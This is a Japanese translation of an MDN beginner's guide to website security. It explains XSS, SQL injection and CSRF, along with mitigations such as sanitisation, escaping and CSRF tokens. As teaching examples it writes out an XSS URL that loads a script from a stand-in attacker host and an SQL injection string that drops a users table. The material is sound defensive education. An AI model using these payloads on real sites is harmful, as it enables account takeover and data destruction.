--- title: Web サイトのセキュリティ slug: Learn/Server-side/First_steps/Website_security tags: - CodingScripting - Web サイトセキュリティ - Web セキュリティ - イントロダクション - ガイド - サーバサイドプログラミング - セキュリテイ - 初心者 - 学習 translation_of: Learn/Server-side/First_steps/Website_security ---
ウェブサイトのセキュリティでは、ウェブサイトのデザインと使用方法のあらゆる面で警戒が必要です。この入門記事だけではウェブサイトのセキュリティの第一人者にはなれませんが、脅威がどこから発生するのか、そして最も一般的な攻撃に対してウェブアプリケーションを強化するために何ができるのかを理解するのに役立ちます。
前提条件: | 基本的なコンピューターリテラシー |
---|---|
目標: | ウェブアプリケーションのセキュリティに対する最も一般的な脅威と、サイトがハッキングされるリスクを減らすためにできることを理解する。 |
インターネットは危険な場所です。定期的に、サービス拒否攻撃によってウェブサイトが利用できなくなったり、自分のホームページに変更された (多くの場合有害な) 情報を表示したりすることがあります。その他の注目を集める事例では、何百万ものパスワード、メールアドレス、およびクレジットカードの詳細がパブリックドメインに漏洩し、ウェブサイトの利用者を個人的な当惑と経済的リスクの両方にさらしています。
ウェブサイトのセキュリティの目的は、これらの (または任意の) 種類の攻撃を防ぐことです。ウェブサイトセキュリティのより正式な定義は、許可されていないアクセス、使用、改変、破壊、または混乱からウェブサイトを保護することです。
効果的なウェブサイトセキュリティでは、ウェブアプリケーション、Web サーバーの設定、パスワードの作成と更新に関するポリシー、およびクライアント側のコードなど、ウェブサイト全体にわたる設計作業が必要です。すべて不吉に聞こえるかもしれませんが、サーバーサイド Web フレームワークを使用している場合、多くの一般的な攻撃に対して「デフォルトで」堅牢でよく考え抜かれた防御メカニズムがほぼ確実に有効になります。HTTPS を有効にするなど、他の攻撃は Web サーバーの設定を通じて軽減できます。最後に、明らかな間違いを犯したかどうかを確認するのに役立つ、公開されている脆弱性スキャナツールがあります。
この記事の残りの部分では、いくつかの一般的な脅威と、サイトを保護するために実行できる簡単な手順の詳細について説明します。
メモ: これは導入トピックであり、ウェブサイトのセキュリティについて考え始めるのに役立つように設計されていますが、網羅的なものではありません。
このセクションでは、最も一般的なウェブサイトの脅威をいくつか紹介し、それらがどのように軽減されるのかを示します。お読みになったところでは、ウェブアプリケーションがブラウザーから来るデータについて信頼しているか、または十分に妄想的ではない場合に、脅威が最も効果的であることに注意してください。
XSS は、攻撃者がウェブサイトを通じて他のユーザーのブラウザーにクライアントサイドのスクリプトを挿入することを可能にする一連の攻撃を表すために使用される用語です。注入されたコードはサイトからブラウザーに送信されるため、コードは信頼されており、ユーザーのサイト認証 Cookie を攻撃者に送信するなどのことが可能です。攻撃者が Cookie を持っていると、あたかもユーザーであるかのようにサイトにログインし、クレジットカードの詳細へのアクセス、連絡先の詳細の表示、パスワードの変更など、ユーザーができることなら何でもできます。
メモ: XSS 脆弱性は、他のどの種類のセキュリティの脅威よりも歴史的に一般的です。
XSS 脆弱性は、サイトが挿入されたスクリプトをブラウザーに返す方法に基づいて、反映型と永続型に分けられます。
http://mysite.com?q=beer<script%20src="http://evilsite.com/tricky.js"></script>
) を作成し、それを別のユーザーにメールで送信することができます。ターゲットユーザーがこの「関連リンク」をクリックすると、検索結果が表示されたときにスクリプトが実行されます。すでに説明したように、これにより攻撃者はターゲットユーザーとしてサイトに入るために必要なすべての情報が得られ、ユーザーとして購入したり、連絡先情報を共有したりする可能性があります。悪意のあるスクリプトがウェブサイトに保存され、その後、他のユーザーが知らないうちに実行されるように変更されないまま再表示されると、永続的な XSS の脆弱性が発生します。たとえば、変更されていない HTML を含むコメントを受け付けるディスカッション掲示板は、攻撃者からの悪意のあるスクリプトが埋め込まれる可能性があります。コメントが表示されると、スクリプトが実行され、ユーザーのアカウントにアクセスするために必要な情報が攻撃者に送信される可能性があります。この種の攻撃は非常に有名で強力です。攻撃者は被害者と直接関わりさえしないかもしれないからです。
POST
または GET
リクエストからのデータが XSS の脆弱性の最も一般的な原因ですが、ブラウザーによって表示される Cookie データやアップロードされて表示されるユーザーファイルなど、ブラウザーからのデータはすべて潜在的に脆弱です。
XSS の脆弱性に対する最善の防御策は、コードを実行するための命令を含む可能性があるマークアップを削除または無効にすることです。HTML の場合、これには <script>
、<object>
、<embed>
、および <link>
などの要素が含まれます。
スクリプトを実行したり、サーバーコードの実行に影響を与えたりすることができないようにユーザーデータを変更するプロセスは、入力サニタイズと呼ばれます。多くのウェブフレームワークは、デフォルトで HTML フォームからのユーザー入力を自動的にサニタイズします。
SQL インジェクションの脆弱性により、悪意のあるユーザーはデータベース上で任意の SQL コードを実行することができ、ユーザーの許可に関係なくデータへのアクセス、変更、削除ができます。インジェクション攻撃が成功すると、ID を偽装したり、管理者権限を持つ新しい ID を作成したり、サーバー上のすべてのデータにアクセスしたり、データを破壊または変更して使用できなくなる可能性があります。
SQL インジェクションの種類には、エラーベースの SQL インジェクション、ブールエラーに基づく SQL インジェクション、および時間ベースの SQL インジェクションがあります。
ベースとなる SQL ステートメントに渡されるユーザー入力がステートメントの意味を変更する可能性がある場合に、この脆弱性が存在します。たとえば、次のコードは、HTML フォームから提供された特定の名前 (userName
) を持つすべてのユーザーを一覧表示することを目的としています。
statement = "SELECT * FROM users WHERE name = '" + userName + "';"
ユーザーが実名を指定した場合、そのステートメントは意図したとおりに機能します。ただし、悪意のあるユーザーは userName
に太字のテキストを指定するだけで、この SQL ステートメントの動作を次の例の新しいステートメントに完全に変更する可能性があります。
SELECT * FROM users WHERE name = 'a';DROP TABLE users; SELECT * FROM userinfo WHERE 't' = 't';
変更された文は、users
テーブルを削除し、userinfo
テーブルからすべてのデータを選択する (すべてのユーザーの情報を表示する) 有効な SQL 文を作成します。これは、挿入されたテキストの最初の部分 (a';
) が元の文を完成させるために機能します。
この種の攻撃を回避するには、SQL クエリに渡されるユーザーデータがクエリの性質を変更できないようにする必要があります。これを行う 1 つの方法は、SQL で特別な意味を持つユーザー入力内のすべての文字をエスケープすることです。
メモ: SQL ステートメントは、' 文字を文字列リテラルの開始と終了として扱います。この文字の前に円記号を入れる (\') ことで、シンボルをエスケープし、代わりにそれを文字 (文字列の一部) として扱うように SQL に指示します。
次の文では、' 文字をエスケープします。SQL は名前を太字の文字列全体として解釈します (これは非常に奇妙な名前ですが、有害ではありません)。
SELECT * FROM users WHERE name = 'a\';DROP TABLE users; SELECT * FROM userinfo WHERE \'t\' = \'t';
ウェブフレームワークはしばしばあなたのためにエスケープする文字の面倒を見るでしょう。たとえば、Django はクエリセット (モデルクエリ) に渡されたユーザーデータが確実にエスケープされるようにします。
メモ: このセクションはここウィキペディアの情報に大きく依存しています。
CSRF 攻撃は、悪意のあるユーザーが他のユーザーの資格情報を使用して、そのユーザーの知らないうちに同意なしでアクションを実行することを可能にします。
この種の攻撃は、例で最もよく説明されています。John は、特定のサイトでログインユーザーがアカウント名と金額を含む HTTP POST
リクエストを使用して特定のアカウントに送金できることを知っている悪意のあるユーザーです。John は、自分の銀行の詳細と金額を隠しフィールドとして含むフォームを作成し、それを他のサイトユーザーにメールで送信します ([送信] ボタンは [早く金持ちになる] サイトへのリンクとして偽装)。
ユーザーが[送信]ボタンをクリックすると、トランザクションの詳細と、サイトに関連付けられているブラウザーが要求したクライアント側の Cookie を含む HTTP POST
リクエストがサーバーに送信されます (リクエストに関連サイトの Cookie を追加するのは通常のブラウザーの動作です)。サーバーは Cookie をチェックし、それらを使用してユーザーがログインしていてトランザクションを実行する権限を持っているかどうかを判断します。
その結果、取引サイトにログインしている間に [送信] ボタンをクリックしたすべてのユーザーが取引を行うことになります。John は金持ちになります。
メモ: ここでのトリックは、John がユーザーの cookie (またはアクセス資格情報) にアクセスする必要がないことです。ユーザーのブラウザーはこの情報を保存し、関連するサーバーへのすべてのリクエストに自動的に含めます。
この種の攻撃を防ぐ 1 つの方法は、サーバーが POST
リクエストにユーザー固有のサイト生成のシークレット情報を含めることを要求することです。転送に使用されるウェブフォームを送信するときに、シークレットがサーバーによって提供されます。この方法では、サーバーからユーザーに提供されているシークレットを知っている必要があるため、John は独自のフォームを作成できません。たとえ彼がシークレットを見つけて特定のユーザーのためにフォームを作成したとしても、彼はもはやその同じフォームを使用してすべてのユーザーを攻撃することはできないでしょう。
ウェブフレームワークには、そのような CSRF 防止メカニズムが含まれていることがよくあります。
その他の一般的な攻撃/脆弱性は次のとおりです。
../../
) を渡すことができる場合に発生します。解決策は、使用する前に入力をサニタイズすることです。ウェブサイトのセキュリティ脅威の包括的な一覧については、Category: Web security exploits (Wikipedia) および Category: Attack (Open Web Application Security Project) を参照してください。
ウェブアプリケーションがブラウザーからのデータを信頼している場合、前のセクションのセキュリティ上の悪用のほとんどすべてが成功します。ウェブサイトのセキュリティを向上させるために他に何をしても、ブラウザーから表示される前、SQL クエリで使用される前、または OS やファイルシステムの呼び出しに渡される前に、すべてのユーザー発信データをサニタイズする必要があります。
重要:ウェブサイトのセキュリティについて学ぶことができる最も重要な教訓は、ブラウザーからのデータを決して信用しないことです。これには GET
リクエスト、POST
リクエスト、HTTP ヘッダと Cookie、およびユーザーがアップロードしたファイルの URL パラメータのデータが含まれますが、これらに限りません。すべての受信データを常にチェックしてサニタイズしてください。常に最悪の事態を想定してください。
あなたが取れる他の具体的な対策はいくつかあります:
POST
リクエストデータ、およびヘッダ情報が攻撃者に容易に利用されないようになります。ウェブフレームワークは、より一般的な脆弱性の多くを軽減するのに役立ちます。
この記事では、ウェブセキュリティの概念と、ウェブサイトが保護しようとする一般的な脅威について説明しました。最も重要なことは、ウェブアプリケーションはウェブブラウザーからのデータを信頼できないということです。すべてのユーザーデータは、表示する前にサニタイズするか、SQL クエリやファイルシステムコールで使用する必要があります。
この記事で、モジュールの終わりに来ました。サーバーサイドのウェブサイトプログラミングの最初のステップをカバーしました。これらの基本概念を学んで楽しんでいただければ幸いです。これでウェブフレームワークを選択してプログラミングを開始する準備が整いました。
{{PreviousMenu("Learn/Server-side/First_steps/Web_frameworks", "Learn/Server-side/First_steps")}}